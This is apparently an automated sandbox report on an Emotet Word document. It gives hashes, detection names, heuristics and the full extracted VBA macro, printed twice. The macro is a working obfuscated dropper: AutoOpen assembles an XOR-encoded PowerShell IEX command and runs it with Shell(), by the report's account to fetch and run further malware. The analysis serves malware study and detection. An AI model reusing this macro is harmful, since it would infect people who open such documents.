Emotet Office (OLE) malware analysis — malicious · 1a5c18e336336ac3

MALICIOUS

Office (OLE)

98.0 KB Created: 2018-06-21 09:08:00 Authoring application: Microsoft Office Word First seen: 2018-07-04

MD5: c1c4219b3151d2019b5e59bff23cefb9 SHA-1: bf2393c00ed91e1fd0c7a896ad9c17abfb5e9e08 SHA-256: 1a5c18e336336ac313693bb78ecb9654b2e5077b5e5c2b4af0f4d4c11f7a0602

210 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function to execute a PowerShell command. This command is constructed by concatenating strings to form a PowerShell execution command, likely to download and execute a further payload. The ClamAV detection name 'Doc.Downloader.Emotet-6891476-0' strongly suggests the Emotet family.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-6891476-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-6891476-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

Next
ZRYtqEL = JAwncROpm + Shell(YiizkoCGw + ZvRJEp + ZVVKnMGU, 82092 - 82092)
For Each pUfdw In fisFc

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub AutoOpen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13635 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13635 bytes
SHA-256: `82fe9f499b9aeb37c17ce8d7236b622a4035b23da7a8e815a4194adfda6de4ee`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "GNfciXr" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "oBKsGPGq" Function ZVimKZ() On Error Resume Next For Each wXsju In chAcU LmWKb = (SDjJzq * 22397 + 80506 * CInt(UiLZz - CDbl(72313)) * 15081 * Oct(58691)) BVEwH = 5897 + Atn(79090) / 5667 / Round(41080) / 59661 / CInt(HXqBF) UaqmMC = lNKaHj = OXAjjm Next GiafdP = "OwerSH" + "ell " + "ieX(" + Chr(34) + "$(sV 'of" + "s' '' )" + Chr(34) + " +[" + "STrInG]( '1" + "5x77-81I95>" + "124O96I" + "92O11x22-1" + "1-69!78" For Each qdYNcB In IltwC CasaSF = (nEzwis * 60109 + 44482 * CInt(MuNSUs - CDbl(6092)) * 27120 * Oct(21048)) fkWsJY = 96831 + Atn(67372) / 69350 / Round(58713) / 19112 / CInt(iPtlv) TpqWJ = AWccPw = vTsmi Next LqPvlKkJQrR = "J92>6J68>73" + "-65>78-72t9" + "5t11x89t74!69O7" + "9>68t70-16-15" + ">92J64-89x1" For Each hpEhVC In jQXRwb Ymfoz = (hwLJQr * 36133 + 8511 * CInt(jdKYvE - CDbl(78929)) * 45122 * Oct(96534)) Qijqwj = 87724 + Atn(13527) / 49869 / Round(60841) / 3698 / CInt(OhaizI) TzZIb = lCDzr = FnwPjd Next zOzYv = "22" + "t114!11J22" + "t11!69O78x92" + "t6-68-73t65" + "-78>72" + "J95H1" + "1>120t82!88" For Each ksioPF In vYXZjU chkjH = (YhKLXB * 29587 + 55464 * CInt(iJzHt - CDbl(87318)) * 5877 * Oct(73161)) RNpQs = 87350 + Atn(27475) / 51290 / Round(48909) / 52779 / CInt(ZvvPV) UlEnVj = zhYmz = ushRCh Next XQAQOXQS = "t95H78>7" + "0-" + "5O101-78!9" + "5>5x124V78J73!" + "104I71t66-78" + "!69x95" + "O1" + "6H15I" + "97" + "x88t94t74>6" For Each lMaLY In qqDoO ZcqVT = (Hvnvb * 40893 + 49196 * CInt(FGNEu - CDbl(60001)) * 43569 * Oct(20666)) kFmwPk = 55912 + Atn(98852) / 88143 / Round(68563) / 68830 / CInt(wzNLi) qHHtsz = oEzUzz = EcXHai Next ckXJaz = "6>11x2" + "2I11>" + "12x67x95H95>91" + "x17O4H4I" + "79x68>89" + "J68-95x67J" + "82I7" + "6V66I71J88t95" + ">89t74" For Each wNGXV In aGfJc XvcpG = (VudOz * 79421 + 20803 * CInt(kkDbq - CDbl(31174)) * 88145 * Oct(86201)) hPRMGU = 80526 + Atn(6356) / 7071 / Round(35764) / 23141 / CInt(iRGGtS) VjNjjY = EUXWM = nGtLqj Next OwBjKbc = "V9" + "1O5O72x68" + "H70!4I" + "71" + "-100J111" + "O70x4I107!67J9" + "5I95J" For Each WUKdSo In wzwii KHzFS = (dLiFB * 2802 + 21416 * CInt(hWjAzt - CDbl(4649)) * 25011 * Oct(32304)) PIbHuW = 49794 + Atn(31739) / 92894 / Round(66252) / 72354 / CInt(zqaTT) mwYCY = GVnmSX = Anspc Next NHzpSzvUvN = "91t17" + "I4>4t92J" + "92J92" + "O5!7" + "0t82I91H67!74" + ">70I70I" For Each anpwfN In aKCfN DZZBO = (rdjwc * 19853 + 74595 * CInt(PVjth - CDbl(37529)) * 30857 * Oct(27312)) oNotLI = 10867 + Atn(56668) / 18574 / Round(97497) / 87623 / CInt(pkblkv) zQdOiT = Wkjah = YoMJbw Next DMTWa = "68O72H67V7" + "4t5!72" + "O68>70J4!102!" + "106" + "O25I" + "77t121O30>106O" + "4J107V67J95O95" + "-91!17" + "I4>4t92" + "t92-92" ZVimKZ = GiafdP + LqPvlKkJQrR + zOzYv + XQAQOXQS + ckXJaz + OwBjKbc + NHzpSzvUvN + DMTWa End Function Function ZaUUl() On Error Resume Next For Each JUbrb In USwrj rRTAk = (kDZOiN * 72897 + 80125 * CInt(rMwDbN - CDbl(35399)) * 78612 * Oct(50210)) vmOFlc = 54961 + Atn(11567) / 399 / Round(76679) / 10437 / CInt(ZctmO) VNhqq = lcaBa = krJAs Next GnuwowA = "J5!71-" + "66" + ">74H74" + "-88!88>68I7" + "2x66I74I95H78t" + "5x72" + "I68t70!4I9" For Each CMjFw In LnJVcF aUitnz = (bEOkI * 95844 + 44929 * CInt(czczd - CDbl(89671)) * 96583 * Oct(62691)) wwwwNv = 21440 + Atn(22374) / 86857 / Round(58349) / 54403 / CInt(cniCw) qpduz = Gduti = qjFnzm Next FKidfMXQuzX = "8-94!24V90I67H7" + "7!104H4>1" + "07H67x95I95>91" + "!1" For Each VimHG In EsZlO KfIAi = (tqQzm * 14025 + 26130 * CInt(StCCIj - CDbl(13320)) * 34660 * Oct(54468)) WritG = 90721 + Atn(22295) / 80342 / Round(45480) / 56825 / CInt(QsCzor) Lqsju = VZzVU = sbFjJH Next NFQtm = "7I4I4" + "I95H" + "78>8" + "8!95>5!79O66O89" + "O64" + "!9" + "5x94I66H9" + "1x5" + "t69-71>4-" For Each KwviN In rfVBa bWwNGQ = (wloiiz * 91548 + 28722 * CInt(cusnN - CDbl(46046)) * 98761 * Oct(22209)) WNQjR = 90836 + Atn(72819) / 6433 / Round(51770) / 16973 / CInt(jDXnDO) riUCb = KOaBL = fwjHv Next jiOISuJHCEn = "126O18V83O104I1" + "20x4H107J67J95" + "V95V91V17!4>4" + "!92I92I92>5J65" + "I83V88V95>9" For Each MuKOYQ In tDowz fSBdz = (LMZQXw * 3295 + 52038 * CInt(wndbiz - CDbl(91461)) * 1694 * Oct(23356)) PWofvP = 20268 + Atn(41742) / 29670 / Round(22268) / 68401 / CInt(oVHrA) pAKXr = GdzIRC = pLDZmd Next uzoIOqiRsOi = "4-79t66I68" + "V5x89>94J4t" + "66I92J" + "79V114>" + "105>4>" + "12!5!120H91H71" + "t6" ZaUUl = GnuwowA + FKidfMXQuzX + NFQtm + jiOISuJHCEn + uzoIOqiRsOi End Function Function lijHVTNMazP() On Error Resume Next For Each hSRVBS In vtoPf IWZsT = (iccmk * 26368 + 77589 * CInt(ANZhT - CDbl(4436)) * 70392 * Oct(10186)) FjjIN = 86856 + Atn(48153) / 64825 / Round(39758) / 12249 / CInt(cnDLEz) VtUWG = VWFkn = uPcofW Next nuSDc = "6I95J3O12H1" + "07t1" + "2x" + "2t" + "16-" + "15I6" + "6H91J7" + "4J9" + "2O89I11t22O11>" + "15I77t" For Each pXcGQi In AwGwwt fYziol = (dhSBP * 19010 + 14561 * CInt(XiLdp - CDbl(81795)) * 97617 * Oct(70027)) AUVAa = 45619 + Atn(74380) / 37418 / Round(7520) / 95450 / CInt(nAPmGu) PCiMuS = YMHzPD = PNrLqJ Next SFdzqO = "81V95I124>" + "96J92>5!69V78t8" + "3H95J3!" + "26!7t11" + "V26" + ">27H24I19V3" + "0V25" + "-2V" For Each OidDCK In UBvPzi atOhI = (UvwEJ * 19555 + 31456 * CInt(CRdHzd - CDbl(54443)) * 50876 * Oct(54213)) YtruJR = 69082 + Atn(34146) / 15804 / Round(556) / 3190 / CInt(ARROzw) SLPGWr = GSYMG = EziOT Next ZaIbavjUOIS = "16-15x102V105" + ">77t113" + "-108" + "!11>22t11!15I" + "78t69-" + "93I17H9" For Each YFACr In OvRYJO JoDDa = (GpmZv * 11455 + 32980 * CInt(MpiqAm - CDbl(352)) * 88948 * Oct(62066)) mjEwa = 97363 + Atn(4634) / 12637 / Round(65705) / 66197 / CInt(cOOIf) rACuV = swlmW = NNnjq Next OljqWaL = "5!78" + "O70H91I" + "11" + "I0t11J" + "12I119x1" + "2>11-" + "0I11H15t6" + "6I91!" + "74H92>89J11J0V1" + "1>12O5!78J83-78" For Each aOLTT In zUiWAb CUvbH = (TuaDsO * 70414 + 20080 * CInt(IXHDiB - CDbl(25294)) * 33002 * Oct(59199)) EiWHM = 13026 + Atn(27970) / 92570 / Round(86665) / 37944 / CInt(DRVoAL) TzHcv = CfNfoh = HIMSAL Next XNCrVWw = "t12!16I77" + "t68-89-78x74V72" + "t67" + "-3J15x65V120H6" For Each ibqjX In BbkAvW NFLAkd = (PoNGm * 87136 + 80074 * CInt(PRSIAA - CDbl(41083)) * 68607 * Oct(55439)) NkzipP = 21789 + Atn(35663) / 65203 / Round(76056) / 41930 / CInt(rWifYm) LrGkW = AWkcz = VEWLC Next wTTfMzi = "9x123I72t11J66!" + "69x11V15-97O8" + "8t94I" + "74" + "J66J2x80H95" For Each iSzFPI In oKwOl wfVsXh = (qZEjM * 2264 + 2763 * CInt(aWpfjR - CDbl(44598)) * 45026 * Oct(26839)) sOHcO = 77690 + Atn(13726) / 66473 / Round(4440) / 45299 / CInt(IHOoLZ) iVcaAW = BhlMA = IrkDFO Next AQkoPLHX = "t89H82J80J1" + "5>92!6" + "4O89!122x114!5" + "I111x68t9" + "2V69-" + "71I68!74" + "O7" + "9-10" lijHVTNMazP = nuSDc + SFdzqO + ZaIbavjUOIS + OljqWaL + XNCrVWw + wTTfMzi + AQkoPLHX End Function Function LoTOqENsswr() On Error Resume Next For Each ZhMLU In Yajjn NRJulU = (AMMOl * 98677 + 18194 * CInt(DsbTj - CDbl(22156)) * 74469 * Oct(62002)) SbLKG = 40029 + Atn(65300) / 8743 / Round(25198) / 15154 / CInt(blcmDa) HhtqDn = auDJI = NdUzZE Next RuRDiWr = "9I66I7" + "1!78V3O1" + "5x65J120t" + "69>123!72t5x1" + "27O68H120t95J8" For Each zYDoq In zBEiwz miTNjV = (kiFDNm * 31455 + 66168 * CInt(WaZta - CDbl(53817)) * 61038 * Oct(16957)) AbDfR = 57950 + Atn(66498) / 7452 / Round(47457) / 9915 / CInt(KCKiv) kQKEPD = NZAsS = GhrmO Next RGdOcJPbLC = "9!66>69H76V3I2" + "x7t11!15t1" + "02J105H77O113H" + "108!2-16I120" + "I95I" + "74" + "-89x95>6>1" For Each YjSCz In NPpEGT CoNMID = (ktahzh * 16963 + 32991 * CInt(qHjLcT - CDbl(11746)) * 92378 * Oct(31269)) DPqwZz = 95006 + Atn(50471) / 15796 / Round(30150) / 68147 / CInt(RwFbqV) bqPbZ = kjCTzp = fOUiF Next cbzHq = "23!89H68-72" + "I78t88t88t11" + "H15V102" + "J105V77>113H108" + "-16I73t8" + "9I78J74O64x16" + "J86I" For Each BFPAG In tAFAzH AKNmlu = (cbBbRT * 72885 + 60973 * CInt(wEXzND - CDbl(60665)) * 76229 * Oct(29340)) nLNHJw = 49349 + Atn(14305) / 52090 / Round(93512) / 60269 / CInt(XBvKd) zjzrZK = vhGjT = wipZEn Next pkRWUt = "72H74!95J" + "72V67" + "J80" + "t92!89I66V95I78" + "!6I" + "67I6" + "8O88" + "-95-11H15-1" For Each cQIYEZ In dObVX bAfznS = (idlAUk * 52234 + 19176 * CInt(oBUMpc - CDbl(43608)) * 51481 * Oct(29012)) DTwzh = 51007 + Atn(49298) / 1238 / Round(21973) / 77600 / CInt(dEijit) ozjhw = DSDZrE = rlBwf Next ULbaZzki = "16>" + "5H110" + "V83I72-78>91O9" + "5>66>68I69-5" LoTOqENsswr = RuRDiWr + RGdOcJPbLC + cbzHq + pkRWUt + ULbaZzki End Function Function ocjzdrm() On Error Resume Next For Each wmOQS In kDkud odqSLn = (wwGYlr * 57754 + 8520 * CInt(mVaMrw - CDbl(5378)) * 86585 * Oct(86765)) dYoSo = 32462 + Atn(27679) / 38720 / Round(32029) / 69015 / CInt(azZXmP) BaPdqf = kzWmm = tovDp Next OAsUZbWLr = "J102H78t88J88" + "!74!76x7" + "8-" + "16J86" + ">86' -SplIT " + "'>' -sp" + "LiT" + "'X' -SpLiT " + "'!'" For Each UQtOHi In JAzjYv NfPOMH = (MbLGAJ * 92069 + 77862 * CInt(wHZMj - CDbl(47626)) * 38974 * Oct(28592)) HHUmVo = 100 + Atn(47606) / 98479 / Round(68909) / 22440 / CInt(KBwCXw) KkiQP = souMSJ = ZHIHo Next ilhPDf = "-sPlIt 'V" + "' " + "-SplI" + "t'o' -SPLiT" + "'i'-" For Each MXOMPi In CpiRD jlHKpw = (bPOtE * 67783 + 46552 * CInt(IMWkM - CDbl(20663)) * 54597 * Oct(21028)) IfKNt = 54830 + Atn(22494) / 63910 / Round(82927) / 32280 / CInt(aNPkv) uFDzmK = hjkEZt = MYnVzI Next dZvuiqG = "sPliT 'H" + "'-SpLIT'-'-sPli" + "t't'-sPLIt'J' \|" + "forEaCh{ [CHaR" For Each pEYLX In TiOZJL pfCYm = (slsii * 899 + 79419 * CInt(zwfXc - CDbl(57167)) * 56714 * Oct(62766)) WtLifW = 70386 + Atn(67294) / 3796 / Round(63844) / 64897 / CInt(ImSOCs) jJkjrf = CBVRbc = pcKCY Next EaNLTTGAz = "] ( $_-bXOr'0x2" + "b'" + " ) })+" + Chr(34) + " " + "$(SEt " + " 'OfS' '" + " ') " + Chr(34) + " )" ocjzdrm = OAsUZbWLr + ilhPDf + dZvuiqG + EaNLTTGAz End Function Attribute VB_Name = "QcQAsjLSiI" Function ulPmHcLl() On Error Resume Next For Each YfTPV In ZnBfZ dGpEw = 51036 + Atn(9739) / 65256 / Round(71823) / 38121 / CInt(cjzzs) qMTjD = (FhjvZd * 20348 + 48471 * CInt(UFQLJ - CDbl(80136)) * 19495 * Oct(30021)) rdkPj = WkDwJ = McPkCJ Next For Each JqAdY In aMPuId VBZJn = 44782 + Atn(75560) / 81770 / Round(73177) / 23734 / CInt(tLAuYz) bGjpm = (BYnob * 39452 + 71191 * CInt(nVdiP - CDbl(69511)) * 79948 * Oct(51486)) IrERO = hjwEjs = vrLhq Next For Each znjGIi In BYdZl LiLoa = 10460 + Atn(55838) / 62314 / Round(27732) / 4035 / CInt(twrUpR) huoEK = (iRubBv * 38126 + 7878 * CInt(YsPXt - CDbl(56898)) * 68526 * Oct(5880)) Ptusm = JQApLz = vjpPQ Next For Each pivSlv In tLBwji WnijC = 98384 + Atn(82628) / 27597 / Round(63533) / 6327 / CInt(Ywvnum) NjrpDE = (nJSvO * 14893 + 92149 * CInt(ICFRB - CDbl(50891)) * 72763 * Oct(14293)) tQKhub = iTOjRz = mMTBVd Next For Each hiMutP In JWTEhY sIhKCI = 75169 + Atn(38253) / 73460 / Round(2131) / 31201 / CInt(jLviIQ) iVWdb = (rcsTm * 21886 + 9246 * CInt(AjzSjI - CDbl(75638)) * 90051 * Oct(20125)) uSltcX = ziKuc = JSlCE Next End Function Function YmJYPBOv() On Error Resume Next For Each AVKnju In YKpzuG pSNmHj = 27480 + Atn(79984) / 49064 / Round(2666) / 56741 / CInt(jwLriB) FRTMHi = (pDXwOh * 22511 + 32669 * CInt(bKVEEU - CDbl(66114)) * 40113 * Oct(1841)) Ejcim = Jvitb = AhLKR Next jKlwQlaw = aOwziFC + Chr(qQWidbKzAV + 80 + czZsWjF) For Each ZksEl In XCEJot UoMZtz = 71175 + Atn(66840) / 93140 / Round(22034) / 87066 / CInt(UcNsRG) DvfiDS = (wQwjIR * 87413 + 20198 * CInt(KJDKzr - CDbl(4049)) * 94571 * Oct(26768)) EkiJjl = jhnSc = MYQJoL Next For Each vAiMW In hVqlh qbZZKs = 9345 + Atn(65515) / 62277 / Round(82128) / 41238 / CInt(VohpD) OlSHQX = (PjAZm * 41944 + 89759 * CInt(ILwjwC - CDbl(44973)) * 31350 * Oct(91459)) cqPMiu = PcfwCV = UMqkua Next YmJYPBOv = LlfjNi + jKlwQlaw + ZVimKZ + ZaUUl + lijHVTNMazP + LoTOqENsswr + ocjzdrm For Each GcXtP In FqBLmL wbMZqs = 46052 + Atn(29912) / 46247 / Round(10551) / 63804 / CInt(SoBES) VUqlOp = (TCshwo * 52460 + 61608 * CInt(InWnho - CDbl(97021)) * 46261 * Oct(94671)) lTTqt = UDzBiC = ARiEj Next End Function Function ohjlfjvZu(ZvRJEp) On Error Resume Next For Each Lzlbk In iVGUWW FimIzI = 84160 + Atn(5916) / 50509 / Round(46075) / 32942 / CInt(idivoz) kOhAlZ = (dwVjwz * 35851 + 59910 * CInt(ORwwi - CDbl(85845)) * 69962 * Oct(8789)) qlvVm = tBGwH = oQiYXN Next For Each LRnvr In XcaAR QRURCQ = 89147 + Atn(40337) / 32801 / Round(61034) / 51064 / CInt(vduhH) KfGzr = (cvMuA * 36137 + 57205 * CInt(FdHJVq - CDbl(48829)) * 30057 * Oct(3570)) Sjvnb = RCIzGM = insLD Next ZRYtqEL = JAwncROpm + Shell(YiizkoCGw + ZvRJEp + ZVVKnMGU, 82092 - 82092) For Each pUfdw In fisFc mUcbb = 66102 + Atn(45522) / 18381 / Round(53718) / 61213 / CInt(sInFzb) cfWUl = (zRsWhL * 790 + 43245 * CInt(zLjdzf - CDbl(70269)) * 43379 * Oct(66938)) nTKlT = psvCv = aszjqP Next End Function Sub AutoOpen() On Error Resume Next For Each jYwsTE In mTkqd ccjfH = 98522 + Atn(16945) / 99477 / Round(54690) / 28792 / CInt(ERfijB) pVDvv = (riDwO * 25330 + 23529 * CInt(KnqVu - CDbl(47154)) * 92196 * Oct(19272)) UuAXIo = nSwSA = ErJmk Next Application.Run mFUja + "ohjlfjvZu" + vUWbXrR, czWmb + YmJYPBOv + jrjHnKoim For Each mjuoIv In uFniz BkYUu = 71360 + Atn(91348) / 24128 / Round(17086) / 93429 / CInt(nhsuw) IorhO = (PsYzpm * 46660 + 44102 * CInt(AUsVqO - CDbl(32)) * 1958 * Oct(19557)) ToQNtV = dDnQa = QwlCOj Next End Sub

SHA-256: 82fe9f499b9aeb37c17ce8d7236b622a4035b23da7a8e815a4194adfda6de4ee

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "GNfciXr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oBKsGPGq"
Function ZVimKZ()
On Error Resume Next
For Each wXsju In chAcU
LmWKb = (SDjJzq * 22397 + 80506 * CInt(UiLZz - CDbl(72313)) * 15081 * Oct(58691))
BVEwH = 5897 + Atn(79090) / 5667 / Round(41080) / 59661 / CInt(HXqBF)
UaqmMC = lNKaHj = OXAjjm
Next
GiafdP = "OwerSH" + "ell " + "ieX(" + Chr(34) + "$(sV 'of" + "s'  '' )" + Chr(34) + " +[" + "STrInG]( '1" + "5x77-81I95>" + "124O96I" + "92O11x22-1" + "1-69!78"
For Each qdYNcB In IltwC
CasaSF = (nEzwis * 60109 + 44482 * CInt(MuNSUs - CDbl(6092)) * 27120 * Oct(21048))
fkWsJY = 96831 + Atn(67372) / 69350 / Round(58713) / 19112 / CInt(iPtlv)
TpqWJ = AWccPw = vTsmi
Next
LqPvlKkJQrR = "J92>6J68>73" + "-65>78-72t9" + "5t11x89t74!69O7" + "9>68t70-16-15" + ">92J64-89x1"
For Each hpEhVC In jQXRwb
Ymfoz = (hwLJQr * 36133 + 8511 * CInt(jdKYvE - CDbl(78929)) * 45122 * Oct(96534))
Qijqwj = 87724 + Atn(13527) / 49869 / Round(60841) / 3698 / CInt(OhaizI)
TzZIb = lCDzr = FnwPjd
Next
zOzYv = "22" + "t114!11J22" + "t11!69O78x92" + "t6-68-73t65" + "-78>72" + "J95H1" + "1>120t82!88"
For Each ksioPF In vYXZjU
chkjH = (YhKLXB * 29587 + 55464 * CInt(iJzHt - CDbl(87318)) * 5877 * Oct(73161))
RNpQs = 87350 + Atn(27475) / 51290 / Round(48909) / 52779 / CInt(ZvvPV)
UlEnVj = zhYmz = ushRCh
Next
XQAQOXQS = "t95H78>7" + "0-" + "5O101-78!9" + "5>5x124V78J73!" + "104I71t66-78" + "!69x95" + "O1" + "6H15I" + "97" + "x88t94t74>6"
For Each lMaLY In qqDoO
ZcqVT = (Hvnvb * 40893 + 49196 * CInt(FGNEu - CDbl(60001)) * 43569 * Oct(20666))
kFmwPk = 55912 + Atn(98852) / 88143 / Round(68563) / 68830 / CInt(wzNLi)
qHHtsz = oEzUzz = EcXHai
Next
ckXJaz = "6>11x2" + "2I11>" + "12x67x95H95>91" + "x17O4H4I" + "79x68>89" + "J68-95x67J" + "82I7" + "6V66I71J88t95" + ">89t74"
For Each wNGXV In aGfJc
XvcpG = (VudOz * 79421 + 20803 * CInt(kkDbq - CDbl(31174)) * 88145 * Oct(86201))
hPRMGU = 80526 + Atn(6356) / 7071 / Round(35764) / 23141 / CInt(iRGGtS)
VjNjjY = EUXWM = nGtLqj
Next
OwBjKbc = "V9" + "1O5O72x68" + "H70!4I" + "71" + "-100J111" + "O70x4I107!67J9" + "5I95J"
For Each WUKdSo In wzwii
KHzFS = (dLiFB * 2802 + 21416 * CInt(hWjAzt - CDbl(4649)) * 25011 * Oct(32304))
PIbHuW = 49794 + Atn(31739) / 92894 / Round(66252) / 72354 / CInt(zqaTT)
mwYCY = GVnmSX = Anspc
Next
NHzpSzvUvN = "91t17" + "I4>4t92J" + "92J92" + "O5!7" + "0t82I91H67!74" + ">70I70I"
For Each anpwfN In aKCfN
DZZBO = (rdjwc * 19853 + 74595 * CInt(PVjth - CDbl(37529)) * 30857 * Oct(27312))
oNotLI = 10867 + Atn(56668) / 18574 / Round(97497) / 87623 / CInt(pkblkv)
zQdOiT = Wkjah = YoMJbw
Next
DMTWa = "68O72H67V7" + "4t5!72" + "O68>70J4!102!" + "106" + "O25I" + "77t121O30>106O" + "4J107V67J95O95" + "-91!17" + "I4>4t92" + "t92-92"
ZVimKZ = GiafdP + LqPvlKkJQrR + zOzYv + XQAQOXQS + ckXJaz + OwBjKbc + NHzpSzvUvN + DMTWa
End Function
Function ZaUUl()
On Error Resume Next
For Each JUbrb In USwrj
rRTAk = (kDZOiN * 72897 + 80125 * CInt(rMwDbN - CDbl(35399)) * 78612 * Oct(50210))
vmOFlc = 54961 + Atn(11567) / 399 / Round(76679) / 10437 / CInt(ZctmO)
VNhqq = lcaBa = krJAs
Next
GnuwowA = "J5!71-" + "66" + ">74H74" + "-88!88>68I7" + "2x66I74I95H78t" + "5x72" + "I68t70!4I9"
For Each CMjFw In LnJVcF
aUitnz = (bEOkI * 95844 + 44929 * CInt(czczd - CDbl(89671)) * 96583 * Oct(62691))
wwwwNv = 21440 + Atn(22374) / 86857 / Round(58349) / 54403 / CInt(cniCw)
qpduz = Gduti = qjFnzm
Next
FKidfMXQuzX = "8-94!24V90I67H7" + "7!104H4>1" + "07H67x95I95>91" + "!1"
For Each VimHG In EsZlO
KfIAi = (tqQzm * 14025 + 26130 * CInt(StCCIj - CDbl(13320)) * 34660 * Oct(54468))
WritG = 90721 + Atn(22295) / 80342 / Round(45480) / 56825 / CInt(QsCzor)
Lqsju = VZzVU = sbFjJH
Next
NFQtm = "7I4I4" + "I95H" + "78>8" + "8!95>5!79O66O89" + "O64" + "!9" + "5x94I66H9" + "1x5" + "t69-71>4-"
For Each KwviN In rfVBa
bWwNGQ = (wloiiz * 91548 + 28722 * CInt(cusnN - CDbl(46046)) * 98761 * Oct(22209))
WNQjR = 90836 + Atn(72819) / 6433 / Round(51770) / 16973 / CInt(jDXnDO)
riUCb = KOaBL = fwjHv
Next
jiOISuJHCEn = "126O18V83O104I1" + "20x4H107J67J95" + "V95V91V17!4>4" + "!92I92I92>5J65" + "I83V88V95>9"
For Each MuKOYQ In tDowz
fSBdz = (LMZQXw * 3295 + 52038 * CInt(wndbiz - CDbl(91461)) * 1694 * Oct(23356))
PWofvP = 20268 + Atn(41742) / 29670 / Round(22268) / 68401 / CInt(oVHrA)
pAKXr = GdzIRC = pLDZmd
Next
uzoIOqiRsOi = "4-79t66I68" + "V5x89>94J4t" + "66I92J" + "79V114>" + "105>4>" + "12!5!120H91H71" + "t6"
ZaUUl = GnuwowA + FKidfMXQuzX + NFQtm + jiOISuJHCEn + uzoIOqiRsOi
End Function
Function lijHVTNMazP()
On Error Resume Next
For Each hSRVBS In vtoPf
IWZsT = (iccmk * 26368 + 77589 * CInt(ANZhT - CDbl(4436)) * 70392 * Oct(10186))
FjjIN = 86856 + Atn(48153) / 64825 / Round(39758) / 12249 / CInt(cnDLEz)
VtUWG = VWFkn = uPcofW
Next
nuSDc = "6I95J3O12H1" + "07t1" + "2x" + "2t" + "16-" + "15I6" + "6H91J7" + "4J9" + "2O89I11t22O11>" + "15I77t"
For Each pXcGQi In AwGwwt
fYziol = (dhSBP * 19010 + 14561 * CInt(XiLdp - CDbl(81795)) * 97617 * Oct(70027))
AUVAa = 45619 + Atn(74380) / 37418 / Round(7520) / 95450 / CInt(nAPmGu)
PCiMuS = YMHzPD = PNrLqJ
Next
SFdzqO = "81V95I124>" + "96J92>5!69V78t8" + "3H95J3!" + "26!7t11" + "V26" + ">27H24I19V3" + "0V25" + "-2V"
For Each OidDCK In UBvPzi
atOhI = (UvwEJ * 19555 + 31456 * CInt(CRdHzd - CDbl(54443)) * 50876 * Oct(54213))
YtruJR = 69082 + Atn(34146) / 15804 / Round(556) / 3190 / CInt(ARROzw)
SLPGWr = GSYMG = EziOT
Next
ZaIbavjUOIS = "16-15x102V105" + ">77t113" + "-108" + "!11>22t11!15I" + "78t69-" + "93I17H9"
For Each YFACr In OvRYJO
JoDDa = (GpmZv * 11455 + 32980 * CInt(MpiqAm - CDbl(352)) * 88948 * Oct(62066))
mjEwa = 97363 + Atn(4634) / 12637 / Round(65705) / 66197 / CInt(cOOIf)
rACuV = swlmW = NNnjq
Next
OljqWaL = "5!78" + "O70H91I" + "11" + "I0t11J" + "12I119x1" + "2>11-" + "0I11H15t6" + "6I91!" + "74H92>89J11J0V1" + "1>12O5!78J83-78"
For Each aOLTT In zUiWAb
CUvbH = (TuaDsO * 70414 + 20080 * CInt(IXHDiB - CDbl(25294)) * 33002 * Oct(59199))
EiWHM = 13026 + Atn(27970) / 92570 / Round(86665) / 37944 / CInt(DRVoAL)
TzHcv = CfNfoh = HIMSAL
Next
XNCrVWw = "t12!16I77" + "t68-89-78x74V72" + "t67" + "-3J15x65V120H6"
For Each ibqjX In BbkAvW
NFLAkd = (PoNGm * 87136 + 80074 * CInt(PRSIAA - CDbl(41083)) * 68607 * Oct(55439))
NkzipP = 21789 + Atn(35663) / 65203 / Round(76056) / 41930 / CInt(rWifYm)
LrGkW = AWkcz = VEWLC
Next
wTTfMzi = "9x123I72t11J66!" + "69x11V15-97O8" + "8t94I" + "74" + "J66J2x80H95"
For Each iSzFPI In oKwOl
wfVsXh = (qZEjM * 2264 + 2763 * CInt(aWpfjR - CDbl(44598)) * 45026 * Oct(26839))
sOHcO = 77690 + Atn(13726) / 66473 / Round(4440) / 45299 / CInt(IHOoLZ)
iVcaAW = BhlMA = IrkDFO
Next
AQkoPLHX = "t89H82J80J1" + "5>92!6" + "4O89!122x114!5" + "I111x68t9" + "2V69-" + "71I68!74" + "O7" + "9-10"
lijHVTNMazP = nuSDc + SFdzqO + ZaIbavjUOIS + OljqWaL + XNCrVWw + wTTfMzi + AQkoPLHX
End Function
Function LoTOqENsswr()
On Error Resume Next
For Each ZhMLU In Yajjn
